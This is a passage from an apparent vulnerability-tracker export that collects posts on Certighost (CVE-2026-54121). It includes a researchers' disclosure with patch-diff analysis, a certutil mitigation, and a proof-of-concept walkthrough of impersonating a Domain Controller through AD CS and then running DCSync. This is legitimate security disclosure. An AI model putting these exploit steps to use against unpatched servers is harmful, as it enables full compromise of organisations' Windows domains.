host. |\n| June / vulnerable | `CRequestInstance::_GetObjectSID` | Original SID retrieval path before the July identity-verification changes. |\n| July / patched | `CRequestInstance::_ExtractBaseDNForDCSearch` | Helper used by the DC verification LDAP search. |\n| July / patched | `CRequestInstance::_ValidateChaseTargetIsDC` | Validates that `cdc` resolves to a real Domain Controller. |\n| July / patched | `CRequestInstance::_LoadPrincipalObject` | Patched integration point; calls validation before the chase. |\n| July / patched | `CRequestInstance::_GetDSObject` | Same logical sink, now reached only after validation when the protected path is active. |\n| July / patched | `CRequestInstance::_GetObjectSID` | Updated identity/SID verification path after object resolution. |\n| July / patched | `Feature_3185813818` | Servicing feature gate around the updated behavior. |\n\nThe July-only pieces to look for are `CRequestInstance::_ValidateChaseTargetIsDC`, `CRequestInstance::_ExtractBaseDNForDCSearch`, and the `Feature_3185813818` gate.\n\n### June vulnerable build flow\n\nIn the June vulnerable build, `CRequestInstance::_LoadPrincipalObject` reads the `cdc` request attribute and passes it directly into `_GetDSObject` with chase enabled.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n//                                           ^ chase enabled\n//                                              ^ requester-controlled host\n```\n\nThe request-to-directory path is:\n\n```text\ncertificate request attribute -> cdc BSTR -> _GetDSObject(..., chase = 1, cdc)\n```\n\nIn other words, requester-controlled routing data reached a directory-authority decision before the CA had checked that the target was a Domain Controller.\n\n### July patched build flow\n\nThe July patched build wraps the same chase with a feature-gated validation call and then performs an additional SID verification path.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nif (Feature_3185813818::IsEnabled()) {\n    CRequestInstance::_ValidateChaseTargetIsDC(this, bstrString);\n\n    CRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n\n    CRequestInstance::_GetObjectSID(this, &resolved_sid, mode);\n}\n```\n\nThere is still an legacy behavior branch visible in the patched control flow:\n\n```c\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n```\n\nThat branch is reached when the servicing feature gate is not enabled. For lab validation, the feature state matters because the protected path is conditional.\n\n## Code analysis: `_ValidateChaseTargetIsDC`\n\n`CRequestInstance::_ValidateChaseTargetIsDC` is the main new guard. It takes the requester-supplied `cdc` value and checks that it is a Domain Controller hostname before `_GetDSObject` follows the chase.\n\nThe validation has two layers.\n\nFirst, it rejects values that are not safe DC hostnames:\n\n```c\n// 1. Strip leading backslashes, then reject empty input\nwhile (*target == L'\\\\')\n    target++;\nif (*target == L'\\0')\n    reject;\n\n// 2. Reject oversized hostnames\nif (wcslen(target) > 0x104)\n    reject;\n\n// 3. Reject IPv4 and IPv6 literals\nif (RtlIpv4StringToAddressW(target, TRUE, &end, &ipv4) == STATUS_SUCCESS && *end == 0)\n    reject;\n\nif (RtlIpv6StringToAddressW(target, &end, &ipv6) == STATUS_SUCCESS && *end == 0)\n    reject;\n\n// 4. Reject LDAP filter metacharacters\nfor (p = target; *p; p++) {\n    if ((*p - 0x28) <= 2 || (*p - 0x5b) <= 2)\n        reject;\n}\n```\n\nThe IP checks block raw-address chase targets such as `192.0.2.10` or `::1`. The metacharacter check keeps the hostname inside the LDAP filter slot.\n\nAfter the string checks, the function asks Active Directory whether the target is a DC:\n\n```text\n(&(objectCategory=computer)(dNSHostName=%s)(userAccountControl:1.2.840.113556.1.4.803:=8192))\n```\n\n`8192` is `SERVER_TRUST_ACCOUNT`, the `userAccountControl` bit used by Domain Controller computer accounts. The updated code searches for exactly one computer object with that bit set and a `dNSHostName` matching the supplied `cdc` value.\n\nThe search path is roughly:\n\n```c\nldap_search_ext_sW(ldap, NULL, LDAP_SCOPE_SUBTREE,\n                   filter, NULL, TRUE, NULL, NULL,\n                   &timeout, 1, &result);\n\ncount = ldap_count_entries(ldap, result);\n\nif (count == 0) {\n    base_dn = CRequestInstance::_ExtractBaseDNForDCSearch(this);\n    ldap_search_ext_sW(ldap, base_dn, LDAP_SCOPE_SUBTREE,\n                       filter, NULL, TRUE, NULL, NULL,\n                       &timeout, 1, &result);\n    count = ldap_count_entries(ldap, result);\n}\n\nif (count != 1)\n    reject;\n```\n\nThe missing check was simple but critical: the chase target must be an AD-registered Domain Controller, not just a host string from the certificate request.\n\n## Why the update fixes the bug\n\nBefore the update, the vulnerable chain was:\n\n```text\nattacker request -> cdc=\"attacker host\" -> CA LDAP chase -> attacker response -> issued identity\n```\n\nAfter the update, the intended chain is:\n\n```text\nattacker request -> cdc=\"some host\"\n        |\n        v\nvalidate hostname shape\n        |\n        v\nquery AD for dNSHostName= AND SERVER_TRUST_ACCOUNT\n        |\n        v\nrequire exactly one real DC object\n        |\n        v\nonly then call _GetDSObject(..., chase = 1, cdc)\n        |\n        v\nverify resolved SID / identity\n```\n\nThe update changes two things:\n\n1. **Target authenticity:** the chase target must be an AD-registered Domain Controller, not an arbitrary requester-controlled host.\n2. **Object authenticity:** the object resolved through the chase must match the expected identity, preventing substitution even if the lookup path is unusual.\n\n## Functions of interest\n\nFor security researchers tracing the request path, start with these functions:\n\n```text\nJune vulnerable build\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n\nJuly patched build\n  Feature_3185813818\n  CRequestInstance::_ExtractBaseDNForDCSearch\n  CRequestInstance::_ValidateChaseTargetIsDC\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n```\n\nGood code references for the writeup are:\n\n1. June `_LoadPrincipalObject` showing `cdc` flowing into `_GetDSObject`.\n2. July `_LoadPrincipalObject` showing the call to `_ValidateChaseTargetIsDC` before `_GetDSObject`.\n3. July `_ValidateChaseTargetIsDC` showing the IP rejection and LDAP filter construction.\n4. July `_ValidateChaseTargetIsDC` showing the `userAccountControl:1.2.840.113556.1.4.803:=8192` DC query.\n5. July `_GetObjectSID` or its caller site showing the added SID verification path.\n\n## Hot fix without the update: disable the chase fallback\n\nIf the July update cannot be installed immediately, the vulnerable code path can be switched off completely with a policy flag, because the `cdc` chase is an optional fallback feature, not code that runs on every request:\n\n```powershell\ncertutil -setreg policy\\EditFlags -EDITF_ENABLECHASECLIENTDC\nRestart-Service CertSvc -Force\n```\n\nThis is a mitigation, not a patch. If `EDITF_ENABLECHASECLIENTDC` is re-enabled on an unpatched CA by an administrator, image, or group policy, the vulnerability is exploitable again.\n\nNote: *This hot fix was validated only in a controlled lab environment, not on a production CA. Before applying it in production, test it on a staging CA that mirrors your environment and confirm that no legitimate enrollment relies on the chase fallback those requests will fail once the flag is cleared. The July update remains the recommended remediation.*\n\n## Timeline\n\n- **May 14, 2026:** Vulnerability reported to the Microsoft Security Response Center\n- **May 14, 2026:** Case assigned\n- **May 22, 2026:** Case investigated and confirmed\n- **July 14, 2026:** Patch released by Microsoft as CVE-2026-54121\n- **July 24, 2026:** Public disclosure\n\n## References\n\n- [certighost.py PoC script](https://github.com/aniqfakhrul/CVE-2026-54121)\n- [Certipy AD CS toolkit](https://github.com/ly4k/Certipy)\n- [Microsoft Security Update Guide: CVE-2026-54121](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121)\n- [MS-WCCE: Windows Client Certificate Enrollment Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/)\n\n## Acknowledgments\n\nThe authors would like to thank the Microsoft Security Response Center for the acknowledgement.\n", "creation_timestamp": "2026-07-24T11:25:08.332340Z"}, {"uuid": "f2073f35-3dc6-47a1-bce8-9e363b2f7888", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54120", "type": "seen", "source": "https://bsky.app/profile/thecircuitry.to/post/3mrfgcioxnn2j", "content": "CVSS 9.9 rating assigned to CVE-2026-54120 in Microsoft Surface. Improper input validation lets an authorized attacker execute code over the network.", "creation_timestamp": "2026-07-24T13:08:20.567540Z"}, {"uuid": "adbe3c9f-2da8-44b1-8cbe-8dd4e6df2d37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54120", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116975195269407061", "content": "CVE-2026-54120 (CRITICAL, CVSS 9.9): Improper input validation in Microsoft Surface Management Services lets authorized attackers run code remotely. Patch now: https://radar.offseq.com/threat/cve-2026-54120-cwe-20-improper-input-validation-in-microsoft-surface-management-services-203a5e59f513d748 \ud83d\udda5\ufe0f #OffSeq #infosec #Microsoft #CVE202654120", "creation_timestamp": "2026-07-24T13:30:31.982488Z"}, {"uuid": "6157b598-7493-45a8-891c-5bde48541876", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54120", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mrfhkao24c2n", "content": "Microsoft Surface Management Services faces a CRITICAL (CVSS 9.9) flaw \u2014 CVE-2026-54120 enables remote code execution by authorized attackers. Apply the official patch now: https://radar.offseq.com/threat/cve-2026-54120-cwe-20-improper-input-validation-in-microsoft-surface-management-services-203...", "creation_timestamp": "2026-07-24T13:30:32.545086Z"}, {"uuid": "8fb84149-39c0-404b-8896-cbc767b705f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mrfjjolupf2d", "content": "Happy to share a technical analysis by \n@h0j3n\n on our recent CVE-2026-54121 a.k.a Certighost. glhf\n\nTechnical analysis: \nhttps://\ngist.github.com/H0j3n/a5ef2609\nb5f2944ac2390a191a534c26\n\u2026\nPOC: \nhttps:\u2026\n\n\ud83d\udd01 RT @aniqfakhrul | reposted by @HackingLZ\nhttps://x.com/aniqfakhrul/status/2080502257808756811", "creation_timestamp": "2026-07-24T14:06:00.957799Z"}, {"uuid": "9d0e8511-5c1d-47ea-9f30-ae883c25d7b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116975740291747354", "content": "New. \nGitHub/H0j3n: Certighost (CVE-2026-54121) https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26\nMore:\nThe Hacker News: Certighost Exploit Lets Low-Privileged Active Directory Users Impersonate a Domain Controller https://thehackernews.com/2026/07/certighost-exploit-lets-low-privileged.html @thehackernews #infosec #vulnerability #Microsoft #Windows", "creation_timestamp": "2026-07-24T15:49:07.070029Z"}, {"uuid": "82f332b7-8b3f-4d78-bb54-aeb412b00b76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54673", "type": "published-proof-of-concept", "source": "https://github.com/electron-userland/electron-builder/security/advisories/GHSA-p2f4-r6v6-j797", "content": "", "creation_timestamp": "2026-07-24T16:35:24.136601Z"}, {"uuid": "59b1b5f1-7a71-4d2f-958e-71a5748d846e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mrftvctl2w2m", "content": "CVE-2026-54121: Certighost Exploit Enables AD User Impersonation #CVE202654121 #CyberSecurity #ADImpersonation", "creation_timestamp": "2026-07-24T17:11:35.658223Z"}, {"uuid": "98a4772b-18b3-4106-a1fc-8bdd61dc0d39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mrftvel6vd2g", "content": "CVE-2026-54121: Certighost Exploit Undermines Active Directory Trust #CVE2026 #CyberSecurity #ActiveDirectory", "creation_timestamp": "2026-07-24T17:11:36.834079Z"}, {"uuid": "969a293e-3ef0-4bda-81ae-72ac410677b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mrftvjj4m32g", "content": "CVE-2026-54121: Certighost Exploit \u2014 Urgency vs. Oversight in Response #CVE202654121 #Cybersecurity #DataProtection", "creation_timestamp": "2026-07-24T17:12:13.296446Z"}, {"uuid": "61d4d29e-400f-4f09-9487-5001f6e6d98e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54121", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116976206786362071", "content": "\ud83d\udcf0 PoC Exploit 'Certighost' for Critical AD CS Flaw Now Public\nPoC exploit 'Certighost' released for critical AD CS flaw CVE-2026-54121 (CVSS 8.8). Exploit allows low-privilege users to impersonate a Domain Controller, leading to full domain compromise. Patching is urgent. #ActiveDirectory #CyberSecurity #BlueTeam\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/certighost-exploit-released-for-critical-active-directory-flaw-cve-2026-54121/?utm_source=ma\u2026", "creation_timestamp": "2026-07-24T17:47:45.945859Z"}, {"uuid": "a29b7d33-a3c6-4f89-b4e2-0cfc88565a94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mrfvx7hlga2q", "content": "PoC exploit 'Certighost' released for critical AD CS flaw CVE-2026-54121 (CVSS 8.8). Exploit allows low-privilege users to impersonate a Domain Controller, leading to full domain compromise. Patching is urgent. #ActiveDirectory #CyberSecurity #BlueTeam\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-07-24T17:48:19.960836Z"}, {"uuid": "a5f613e1-2cb3-44ec-9e53-7d82c60d7185", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://t.me/RalfHackerChannel/1682", "content": "\ud83d\udd12 Certighost (CVE-2026-54121) \u2014 AD CS Domain Controller Impersonation\n\nLow-privileged domain user can impersonate a Domain Controller via an AD CS enrollment chase fallback. By supplying cdc (Client DC) and rmd (Remote Domain) request attributes, an attacker forces the Enterprise CA to query an attacker-controlled host over SMB and LDAP.\n\nThe CA then blindly trusts the returned directory objects (objectSid + dNSHostName of a real DC) and issues a certificate containing strong identity mapping for the Domain Controller. This allows successful PKINIT authentication as the DC.\n\n\ud83d\udd17 Research:\nhttps://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26\n\n\ud83d\udd17 Source:\nhttps://github.com/aniqfakhrul/CVE-2026-54121\n\n#ad #adcs #pkinit #machineaccountquota", "creation_timestamp": "2026-07-24T18:00:03.968098Z"}, {"uuid": "d1acb161-22b8-4f77-87f5-87fb5b5cdb10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54121", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/116976708561458873", "content": "\u203c\ufe0f PoC released for CVE-2026-54121 codenamed Certighost\nCVE-2026-54121 is a privilege escalation vulnerability in Active Directory Certificate Services that enables authorized attackers to elevate privileges.\nGitHub: https://github.com/aniqfakhrul/cve-2026-54121", "creation_timestamp": "2026-07-24T19:55:23.011502Z"}, {"uuid": "47085087-c071-42f1-90aa-6d3552908b2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54342", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mrg5dmmkie22", "content": "\ud83d\udfe0 CVE-2026-54342 - High (8.1)\n\nIn epa4all, prior to version 2026-05-20, an attacker on the network path between epa4all and any ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54342/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-24T20:00:32.662785Z"}, {"uuid": "f70edff9-91cd-4234-bb20-d3467fb5f81f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mrg6z34gfx2r", "content": "Certighost in AD CS lets low-privileged users get a Domain Controller cert, enabling Kerberos impersonation and DCSync to extract krbtgt. Microsoft patched it as CVE-2026-54121. #Certighost #ActiveDirectory #DCSync", "creation_timestamp": "2026-07-24T20:30:26.277485Z"}, {"uuid": "c10075f3-cf87-4571-8749-f2b730bd6837", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54755", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mu7zybgtdx2e", "content": "CVE-2026-54755 - github.com/klever-io/klever-go\nVersions of the Klever-Go program that run the Klever blockchain before 1.7.19 contain a mistake that lets specially crafted data cause extra tokens to be\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#kleverio #Golang #CVE #infosec", "creation_timestamp": "2026-08-29T14:00:06.745056Z"}, {"uuid": "dbf59388-2ff1-4314-abff-10096937f73e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "https://t.me/RalfHackerChannel/1682", "content": "\ud83d\udd12 Certighost (CVE-2026-54121) \u2014 AD CS Domain Controller Impersonation\n\nLow-privileged domain user can impersonate a Domain Controller via an AD CS enrollment chase fallback. By supplying cdc (Client DC) and rmd (Remote Domain) request attributes, an attacker forces the Enterprise CA to query an attacker-controlled host over SMB and LDAP.\n\nThe CA then blindly trusts the returned directory objects (objectSid + dNSHostName of a real DC) and issues a certificate containing strong identity mapping for the Domain Controller. This allows successful PKINIT authentication as the DC.\n\n\ud83d\udd17 Research:\nhttps://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26\n\n\ud83d\udd17 Source:\nhttps://github.com/aniqfakhrul/CVE-2026-54121\n\n#ad #adcs #pkinit #machineaccountquota", "creation_timestamp": "2026-07-25T00:00:09.558052Z"}, {"uuid": "3b26f263-1067-45fe-b125-0fe060a22608", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "Telegram/l4Gc7-zqzzEJLgW7QTnRZhngWZ330GAlAspxmCHtL5bxj10", "content": "", "creation_timestamp": "2026-07-25T00:00:11.078477Z"}, {"uuid": "afc6a23c-d3d1-429b-a1c6-37bacbf63ba8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "Telegram/xGzO6y6_5HeuzmJ1-knatOnWOwArbIPfq-ZhGdIo2Lc9u_U", "content": "", "creation_timestamp": "2026-07-25T00:00:11.120779Z"}, {"uuid": "e80c34de-427a-444d-903d-d941be7cedc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/94897", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54121\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a aniqfakhrul\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-24 03:54:33\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCertighost POC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-25T00:00:11.731970Z"}, {"uuid": "b1c649dc-680c-485b-ba75-d1b99615e66f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "https://t.me/P0x3k_1N73LL1G3NC3/396", "content": "\ud83d\udd12 Certighost (CVE-2026-54121) \u2014 AD CS Domain Controller Impersonation\n\nLow-privileged domain user can impersonate a Domain Controller via an AD CS enrollment chase fallback. By supplying cdc (Client DC) and rmd (Remote Domain) request attributes, an attacker forces the Enterprise CA to query an attacker-controlled host over SMB and LDAP.\n\nThe CA then blindly trusts the returned directory objects (objectSid + dNSHostName of a real DC) and issues a certificate containing strong identity mapping for the Domain Controller. This allows successful PKINIT authentication as the DC.\n\n\ud83d\udd17 Research:\nhttps://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26\n\n\ud83d\udd17 Source:\nhttps://github.com/aniqfakhrul/CVE-2026-54121\n\n#ad #adcs #pkinit #machineaccountquota", "creation_timestamp": "2026-07-25T00:00:11.252043Z"}, {"uuid": "02fea5f8-5a7c-4686-8033-1ac43f500e82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://gist.github.com/yeshuibo/d337552dec9d1bd3def4b605f38c7368", "content": "# Certighost (CVE-2026-54121)\n\n**Authors:** [@h0j3n](https://x.com/h0j3n), [@aniqfakhrul](https://x.com/aniqfakhrul)  \n**Date:** July 24, 2026\n\n---\n\nCertighost is an Active Directory Certificate Services (AD CS) vulnerability that allowed a low-privileged domain user to impersonate a Domain Controller and achieve domain compromise in the tested AD CS configuration. The issue was addressed in the July 2026 security updates.\n\nThe vulnerable path is an AD CS enrollment fallback known as a *chase* during directory-object resolution. By supplying request attributes such as `cdc`, an attacker could cause the Certification Authority (CA) to ask an attacker-controlled host for identity data belonging to a Domain Controller. The CA then used that data while issuing a certificate.\n\n\n  \n\n\nThis post explains how the chase path works, why it could be abused, and what changed in the update.\n\n## Introduction to Active Directory Certificate Services\n\nIf you already work with AD CS, feel free to skip ahead. For the rest of the post, it is enough to think of a certificate as a signed proof of identity. Like a Kerberos ticket, it can be presented during authentication to show who a user or computer is supposed to be.\n\nAD CS is Microsoft's public key infrastructure implementation. It integrates with Active Directory and issues X.509 certificates for purposes such as encryption, signing, secure communications, and authentication.\n\nA certificate binds a subject to a public key. The private key stays with the requester, while the certificate contains the public key and identity information signed by a Certification Authority. A service that trusts the CA can use that signature to trust the identity in the certificate.\n\nCertificate templates control the enrollment process. A template decides who may request a certificate, what it can be used for, what identity information must be present, and whether the CA may accept information supplied in the request.\n\nThe relevant piece here is certificate-based client authentication. A client requests a certificate from an Enterprise CA and later presents it to the Key Distribution Center (KDC) to obtain Kerberos credentials.\n\n### PKINIT and certificate mapping\n\nTo make this concrete, consider a small lab domain named `ABC.LOCAL` with AD CS installed. A low-privileged account can request a certificate from a template it is permitted to enroll in, then use that certificate to authenticate to the KDC.\n\n![Requesting and authenticating with a certificate using Certipy](https://gist.github.com/user-attachments/assets/c7d6f12d-d1bc-451c-b861-eb2863060173)\n\n\nRequesting and authenticating with a certificate using Certipy\n\nDuring certificate authentication, the KDC maps the identity in the certificate to an Active Directory account and issues a Kerberos TGT when the mapping succeeds.\n\n## Background: the chase fallback\n\nBefore getting to the bug, we need to look at one enrollment behavior. In some cross-domain-controller enrollment scenarios, the CA may perform a second directory lookup, referred to here as a *chase*.\n\nTwo request attributes influence that lookup:\n\n- `cdc` (Client DC), which identifies the host the CA should contact\n- `rmd` (Remote Domain), which identifies the principal the CA should look up\n\nWhen both attributes are present, the CA contacts the host named by `cdc` over SMB and LDAP, then searches for the principal named by `rmd`. The request-processing path reads these values and passes them into the remote directory lookup.\n\n\n\n  \n\n\n\nWireshark capture showing the CA following the requester-controlled cdc target to the attacker host over SMB/LSA and LDAP.\n\n## The vulnerability: Certighost\n\nThe CA accepted the requester-supplied chase target without first proving that it was the Domain Controller it claimed to be. That made it possible for an attacker to run LDAP and LSA services on a host they controlled, direct the CA to that host, and return directory data for a chosen target principal.\n\nIn the vulnerable flow, the attacker supplies `cdc` and `rmd` in a certificate request. The CA opens SMB and LDAP connections to the address in `cdc`, performs the chase lookup for the principal in `rmd`, and uses the returned identity data while building the certificate.\n\nThe issue is not just the outbound connection. The CA used the response from that host as directory data for the request. In the tested chain, the attacker could return a Domain Controller's `objectSid` and `dNSHostName`. Those values influenced the certificate identity material issued by the CA, including the strong-mapping SID and DNS identity fields used during authentication.\n\nA machine account created through the default `ms-DS-MachineAccountQuota` setting is a valid domain principal. This allowed the attacker-controlled chase endpoint to satisfy the authentication checks needed for the CA to continue, even though it was not the Domain Controller being impersonated.\n\n\n\n  \n\n\n\nVulnerable chase flow: the CA follows requester-controlled cdc, accepts attacker-supplied directory data, and issues certificate identity material for the target DC.\n\nThe diagram follows the three parties involved in the vulnerable chase: the attacker prepares a valid machine account and rogue services, the CA follows the requester-controlled `cdc` target and trusts the returned identity data, and the Domain Controller is then impersonated through certificate-based authentication and replication access.\n\n## Proof of concept walkthrough\n\n### Lab environment\n\nOur test environment contained:\n\n- An AD forest at Windows Server 2016 or later functional level\n- Domain Controller: `WDC01.abc.local` (`192.168.8.128`)\n- Enterprise CA: `abc-WCA01-CA` on `WCA01.abc.local` (`192.168.8.129`)\n- The default `ms-DS-MachineAccountQuota` value of `10`\n- The default `Machine` certificate template with its default access control list\n- An attacker host at `192.168.8.134`\n- One low-privileged Domain Users account: `normaluser`\n\n### Step 1: Install dependencies\n\nThe proof of concept is a self-contained Python script. It requires impacket, cryptography, pyasn1, asn1crypto, and dnspython.\n\n```bash\nsudo pip install --break-system-packages git+https://github.com/fortra/impacket.git cryptography pyasn1 asn1crypto pycryptodome dnspython\n```\n\n### Step 2: Run the proof of concept and observe the result\n\n```bash\nsudo python3 certighost.py \\\n  -d abc.local \\\n  -u normaluser -p '[PASSWORD]' \\\n  --dc-ip 192.168.8.128\n```\n\nThe script discovers the CA and a target Domain Controller, creates a machine account, starts the local LDAP and LSA services, submits the crafted enrollment request, and produces the terminal output shown below.\n\n![Terminal output of a successful Certighost run](https://gist.github.com/user-attachments/assets/7ad0a7a7-edf7-4b50-8c69-7e0c91ed2ae4)\n\n\nTerminal output of a successful Certighost run\n\nAt this point, the attacker has a CA-signed certificate that authenticates as the target Domain Controller in the tested configuration and a Kerberos credential cache for that account.\n\n### Step 3: DCSync\n\nA Domain Controller account has directory replication rights. With the resulting Kerberos credential, the attacker can request account secrets, including the `krbtgt` secret.\n\n![Successful DCSync output showing the `krbtgt` account](https://gist.github.com/user-attachments/assets/64e7a484-87d4-46fc-a3d7-c2b600ffe9cd)\n\n\nSuccessful DCSync output showing the `krbtgt` account\n\n### What the proof of concept does\n\nThe script follows the full chain in one process:\n\n1. It connects to LDAP with the supplied low-privileged account and discovers the CA, Domain Controller, domain SID, and domain GUID.\n2. It creates a machine account through `ms-DS-MachineAccountQuota` and registers the required service principal names.\n3. It starts local LSA and LDAP services. The services relay the CA's authentication challenge to the real Domain Controller so the chase endpoint is accepted as a valid domain principal.\n4. It submits a certificate request containing the `cdc` and `rmd` attributes.\n5. It receives a certificate carrying identity material for the target Domain Controller, including SID and DNS-name data used by the authentication flow.\n6. It uses the certificate to authenticate as the target Domain Controller and writes the resulting credential cache.\n\n## Post-update behavior\n\nThe July 2026 update changes the CA-side request path. Before continuing a chase, the CA validates the supplied `cdc` target against Active Directory.\n\nThe update adds a validation step to the principal-loading path. When the validation gate is active, the CA checks that the hostname supplied in `cdc` resolves to a legitimate Domain Controller computer object in the real directory before it continues the chase. A validation failure takes the request down an error path rather than the chase continuation.\n\n| Component | Before the update | After the update |\n|---|---|---|\n| Chase target | The CA followed the requester-supplied target | The CA validates the supplied `cdc` hostname against the real directory |\n| Principal lookup | The remote response was treated as authoritative | The target must resolve to a legitimate Domain Controller computer object |\n| Certificate identity data | Returned SID and hostname could be attacker-controlled | Resolution proceeds only after target validation and a follow-on SID comparison |\n| Certificate request result | A forged chase response could lead to issuance | A failed validation or SID comparison takes an error path |\n\nThe fix addresses the trust boundary that made Certighost possible: a chase endpoint is no longer accepted 